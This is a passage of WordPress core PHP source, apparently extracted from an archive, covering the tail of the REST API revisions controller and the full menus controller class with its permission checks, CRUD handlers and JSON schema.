				$args['update_post_term_cache'] = false;
				$args['update_post_meta_cache'] = false;
			}

			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			$args       = apply_filters( 'rest_revision_query', $args, $request );
			$query_args = $this->prepare_items_query( $args, $request );

			$revisions_query = new WP_Query();
			$revisions       = $revisions_query->query( $query_args );
			$offset          = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
			$page            = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0;
			$total_revisions = $revisions_query->found_posts;

			if ( $total_revisions < 1 ) {
				// Out-of-bounds, run the query again without LIMIT for total count.
				unset( $query_args['paged'], $query_args['offset'] );

				$count_query = new WP_Query();
				$count_query->query( $query_args );

				$total_revisions = $count_query->found_posts;
			}

			if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
				$max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
			} else {
				$max_pages = $total_revisions > 0 ? 1 : 0;
			}

			if ( $total_revisions > 0 ) {
				if ( $offset >= $total_revisions ) {
					return new WP_Error(
						'rest_revision_invalid_offset_number',
						__( 'The offset number requested is larger than or equal to the number of available revisions.' ),
						array( 'status' => 400 )
					);
				} elseif ( ! $offset && $page > $max_pages ) {
					return new WP_Error(
						'rest_revision_invalid_page_number',
						__( 'The page number requested is larger than the number of pages available.' ),
						array( 'status' => 400 )
					);
				}
			}
		} else {
			$revisions       = array();
			$total_revisions = 0;
			$max_pages       = 0;
			$page            = (int) $request['page'];
		}

		if ( ! $is_head_request ) {
			$response = array();

			foreach ( $revisions as $revision ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}

			$response = rest_ensure_response( $response );
		} else {
			$response = new WP_REST_Response( array() );
		}

		$response->header( 'X-WP-Total', (int) $total_revisions );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$base_path      = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $base_path );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to get a specific revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return $this->get_items_permissions_check( $request );
	}

	/**
	 * Retrieves one revision from the collection.
	 *
	 * @since 4.7.0
	 * @since 6.5.0 Added a condition to check that parent id matches revision parent id.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		if ( (int) $parent->ID !== (int) $revision->post_parent ) {
			return new WP_Error(
				'rest_revision_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The revision does not belong to the specified parent with id of "%d"' ), $parent->ID ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $revision, $request );
		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'delete_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$response = $this->get_items_permissions_check( $request );
		if ( ! $response || is_wp_error( $response ) ) {
			return $response;
		}

		if ( ! current_user_can( 'delete_post', $revision->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this revision.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for revisions.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Revisions do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		$previous = $this->prepare_item_for_response( $revision, $request );

		$result = wp_delete_post( $request['id'], true );

		/**
		 * Fires after a revision is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post|false|null $result The revision object (if it was deleted or moved to the Trash successfully)
		 *                                   or false or null (failure). If the revision was moved to the Trash, $result represents
		 *                                   its new state; if it was deleted, $result represents its state before deletion.
		 * @param WP_REST_Request $request The request sent to the API.
		 */
		do_action( 'rest_delete_revision', $result, $request );

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The post cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);
		return $response;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 5.0.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = array();

		foreach ( $prepared_args as $key => $value ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		return $query_args;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$GLOBALS['post'] = $post;

		setup_postdata( $post );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php */
			return apply_filters( 'rest_prepare_revision', new WP_REST_Response( array() ), $post, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
		}

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $post->ID;
		}

		if ( in_array( 'modified', $fields, true ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( in_array( 'modified_gmt', $fields, true ) ) {
			$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $post->post_parent;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $post->post_name;
		}

		if ( in_array( 'guid', $fields, true ) ) {
			$data['guid'] = array(
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
				'raw'      => $post->guid,
			);
		}

		if ( in_array( 'title', $fields, true ) ) {
			$data['title'] = array(
				'raw'      => $post->post_title,
				'rendered' => get_the_title( $post->ID ),
			);
		}

		if ( in_array( 'content', $fields, true ) ) {

			$data['content'] = array(
				'raw'      => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'the_content', $post->post_content ),
			);
		}

		if ( in_array( 'excerpt', $fields, true ) ) {
			$data['excerpt'] = array(
				'raw'      => $post->post_excerpt,
				'rendered' => $this->prepare_excerpt_response( $post->post_excerpt, $post ),
			);
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $post->ID, $request );
		}

		$context  = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data     = $this->add_additional_fields_to_object( $data, $request );
		$data     = $this->filter_response_by_context( $data, $context );
		$response = rest_ensure_response( $data );

		if ( ! empty( $data['parent'] ) ) {
			$response->add_link( 'parent', rest_url( rest_get_route_for_post( $data['parent'] ) ) );
		}

		/**
		 * Filters a revision returned from the REST API.
		 *
		 * Allows modification of the revision right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original revision object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_revision', $response, $post, $request );
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime, otherwise null.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Retrieves the revision's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => "{$this->parent_post_type}-revision",
			'type'       => 'object',
			// Base properties for every Revision.
			'properties' => array(
				'author'       => array(
					'description' => __( 'The ID for the author of the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date'         => array(
					'description' => __( "The date the revision was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'     => array(
					'description' => __( 'The date the revision was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'guid'         => array(
					'description' => __( 'GUID for the revision, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
				),
				'id'           => array(
					'description' => __( 'Unique identifier for the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'modified'     => array(
					'description' => __( "The date the revision was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'modified_gmt' => array(
					'description' => __( 'The date the revision was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'parent'       => array(
					'description' => __( 'The ID for the parent of the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'slug'         => array(
					'description' => __( 'An alphanumeric identifier for the revision unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$parent_schema = $this->parent_controller->get_item_schema();

		if ( ! empty( $parent_schema['properties']['title'] ) ) {
			$schema['properties']['title'] = $parent_schema['properties']['title'];
		}

		if ( ! empty( $parent_schema['properties']['content'] ) ) {
			$schema['properties']['content'] = $parent_schema['properties']['content'];
		}

		if ( ! empty( $parent_schema['properties']['excerpt'] ) ) {
			$schema['properties']['excerpt'] = $parent_schema['properties']['excerpt'];
		}

		if ( ! empty( $parent_schema['properties']['guid'] ) ) {
			$schema['properties']['guid'] = $parent_schema['properties']['guid'];
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		unset( $query_params['per_page']['default'] );

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by object attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'date',
				'id',
				'include',
				'relevance',
				'slug',
				'include_slugs',
				'title',
			),
		);

		return $query_params;
	}

	/**
	 * Checks the post excerpt and prepare it for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string  $excerpt The post excerpt.
	 * @param WP_Post $post    Post revision object.
	 * @return string Prepared excerpt or empty string.
	 */
	protected function prepare_excerpt_response( $excerpt, $post ) {

		/** This filter is documented in wp-includes/post-template.php */
		$excerpt = apply_filters( 'the_excerpt', $excerpt, $post );

		if ( empty( $excerpt ) ) {
			return '';
		}

		return $excerpt;
	}
}
endpoints/class-wp-rest-menus-controller.php000064400000041265151724720270015311 0ustar00<?php
/**
 * REST API: WP_REST_Menus_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class used to managed menu terms associated via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Menus_Controller extends WP_REST_Terms_Controller {

	/**
	 * Checks if a request has access to read menus.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		$has_permission = parent::get_items_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks if a request has access to read or edit the specified menu.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$has_permission = parent::get_item_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Gets the term, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
	 */
	protected function get_term( $id ) {
		$term = parent::get_term( $id );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$nav_term           = wp_get_nav_menu_object( $term );
		$nav_term->auto_add = $this->get_menu_auto_add( $nav_term->term_id );

		return $nav_term;
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * This allows for any user that can `edit_theme_options` or edit any REST API available post type.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the current user has permission, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		$read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this );
		if ( $read_only_access ) {
			return true;
		}

		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view menus.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Prepares a single term output for response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Term         $term    Term object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $term, $request ) {
		$nav_menu = wp_get_nav_menu_object( $term );
		$response = parent::prepare_item_for_response( $nav_menu, $request );

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( rest_is_field_included( 'locations', $fields ) ) {
			$data['locations'] = $this->get_menu_locations( $nav_menu->term_id );
		}

		if ( rest_is_field_included( 'auto_add', $fields ) ) {
			$data['auto_add'] = $this->get_menu_auto_add( $nav_menu->term_id );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $term ) );
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $term, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Term $term Term object.
	 * @return array Links for the given term.
	 */
	protected function prepare_links( $term ) {
		$links = parent::prepare_links( $term );

		$locations = $this->get_menu_locations( $term->term_id );
		foreach ( $locations as $location ) {
			$url = rest_url( sprintf( 'wp/v2/menu-locations/%s', $location ) );

			$links['https://api.w.org/menu-location'][] = array(
				'href'       => $url,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Prepares a single term for create or update.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object Prepared term data.
	 */
	public function prepare_item_for_database( $request ) {
		$prepared_term = parent::prepare_item_for_database( $request );

		$schema = $this->get_item_schema();

		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_term->{'menu-name'} = $request['name'];
		}

		return $prepared_term;
	}

	/**
	 * Creates a single term in a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
			}

			$parent = wp_get_nav_menu_object( (int) $request['parent'] );

			if ( ! $parent ) {
				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		$term = wp_update_nav_menu_object( 0, wp_slash( (array) $prepared_term ) );

		if ( is_wp_error( $term ) ) {
			/*
			 * If we're going to inform the client that the term already exists,
			 * give them the identifier for future use.
			 */

			if ( in_array( 'menu_exists', $term->get_error_codes(), true ) ) {
				$existing_term = get_term_by( 'name', $prepared_term->{'menu-name'}, $this->taxonomy );
				$term->add_data( $existing_term->term_id, 'menu_exists' );
				$term->add_data(
					array(
						'status'  => 400,
						'term_id' => $existing_term->term_id,
					)
				);
			} else {
				$term->add_data( array( 'status' => 400 ) );
			}

			return $term;
		}

		$term = $this->get_term( $term );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$locations_update = $this->handle_locations( $term->term_id, $request );

		if ( is_wp_error( $locations_update ) ) {
			return $locations_update;
		}

		$this->handle_auto_add( $term->term_id, $request );

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'view' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );

		$response = $this->prepare_item_for_response( $term, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );

		return $response;
	}

	/**
	 * Updates a single term from a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		// Only update the term if we have something to update.
		if ( ! empty( $prepared_term ) ) {
			if ( ! isset( $prepared_term->{'menu-name'} ) ) {
				// wp_update_nav_menu_object() requires that the menu-name is always passed.
				$prepared_term->{'menu-name'} = $term->name;
			}

			$update = wp_update_nav_menu_object( $term->term_id, wp_slash( (array) $prepared_term ) );

			if ( is_wp_error( $update ) ) {
				return $update;
			}
		}

		$term = get_term( $term->term_id, $this->taxonomy );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$locations_update = $this->handle_locations( $term->term_id, $request );

		if ( is_wp_error( $locations_update ) ) {
			return $locations_update;
		}

		$this->handle_auto_add( $term->term_id, $request );

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'view' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Deletes a single term from a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		// We don't support trashing for terms.
		if ( ! $request['force'] ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menus do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		$request->set_param( 'context', 'view' );

		$previous = $this->prepare_item_for_response( $term, $request );

		$result = wp_delete_nav_menu( $term );

		if ( ! $result || is_wp_error( $result ) ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The menu cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );

		return $response;
	}

	/**
	 * Returns the value of a menu's auto_add setting.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_id The menu id to query.
	 * @return bool The value of auto_add.
	 */
	protected function get_menu_auto_add( $menu_id ) {
		$nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) );

		return in_array( $menu_id, $nav_menu_option['auto_add'], true );
	}

	/**
	 * Updates the menu's auto add from a REST request.
	 *
	 * @since 5.9.0
	 *
	 * @param int             $menu_id The menu id to update.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the auto add setting was successfully updated.
	 */
	protected function handle_auto_add( $menu_id, $request ) {
		if ( ! isset( $request['auto_add'] ) ) {
			return true;
		}

		$nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) );

		if ( ! isset( $nav_menu_option['auto_add'] ) ) {
			$nav_menu_option['auto_add'] = array();
		}

		$auto_add = $request['auto_add'];

		$i = array_search( $menu_id, $nav_menu_option['auto_add'], true );

		if ( $auto_add && false === $i ) {
			$nav_menu_option['auto_add'][] = $menu_id;
		} elseif ( ! $auto_add && false !== $i ) {
			array_splice( $nav_menu_option['auto_add'], $i, 1 );
		}

		$update = update_option( 'nav_menu_options', $nav_menu_option );

		/** This action is documented in wp-includes/nav-menu.php */
		do_action( 'wp_update_nav_menu', $menu_id );

		return $update;
	}

	/**
	 * Returns the names of the locations assigned to the menu.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_id The menu id.
	 * @return string[] The locations assigned to the menu.
	 */
	protected function get_menu_locations( $menu_id ) {
		$locations      = get_nav_menu_locations();
		$menu_locations = array();

		foreach ( $locations as $location => $assigned_menu_id ) {
			if ( $menu_id === $assigned_menu_id ) {
				$menu_locations[] = $location;
			}
		}

		return $menu_locations;
	}

	/**
	 * Updates the menu's locations from a REST request.
	 *
	 * @since 5.9.0
	 *
	 * @param int             $menu_id The menu id to update.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True on success, a WP_Error on an error updating any of the locations.
	 */
	protected function handle_locations( $menu_id, $request ) {
		if ( ! isset( $request['locations'] ) ) {
			return true;
		}

		$menu_locations = get_registered_nav_menus();
		$menu_locations = array_keys( $menu_locations );
		$new_locations  = array();
		foreach ( $request['locations'] as $location ) {
			if ( ! in_array( $location, $menu_locations, true ) ) {
				return new WP_Error(
					'rest_invalid_menu_location',
					__( 'Invalid menu location.' ),
					array(
						'status'   => 400,
						'location' => $location,
					)
				);
			}
			$new_locations[ $location ] = $menu_id;
		}
		$assigned_menu = get_nav_menu_locations();
		foreach ( $assigned_menu as $location => $term_id ) {
			if ( $term_id === $menu_id ) {
				unset( $assigned_menu[ $location ] );
			}
		}
		$new_assignments = array_merge( $assigned_menu, $new_locations );
		set_theme_mod( 'nav_menu_locations', $new_assignments );

		return true;
	}

	/**
	 * Retrieves the term's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();
		unset( $schema['properties']['count'], $schema['properties']['link'], $schema['properties']['taxonomy'] );

		$schema['properties']['locations'] = array(
			'description' => __( 'The locations assigned to the menu.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'validate_callback' => static function ( $locations, $request, $param ) {
					$valid = rest_validate_request_arg( $locations, $request, $param );

					if ( true !== $valid ) {
						return $valid;
					}

					$locations = rest_sanitize_request_arg( $locations, $request, $param );

					foreach ( $locations as $location ) {
						if ( ! array_key_exists( $location, get_registered_nav_menus() ) ) {
							return new WP_Error(
								'rest_invalid_menu_location',
								__( 'Invalid menu location.' ),
								array(
									'location' => $location,
								)
							);
						}
					}

					return true;
				},
			),
		);

		$schema['properties']['auto_add'] = array(
			'description' => __( 'Whether to automatically add top level pages to this menu.' ),
			'context'     => array( 'view', 'edit' ),
			'type'        => 'boolean',
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
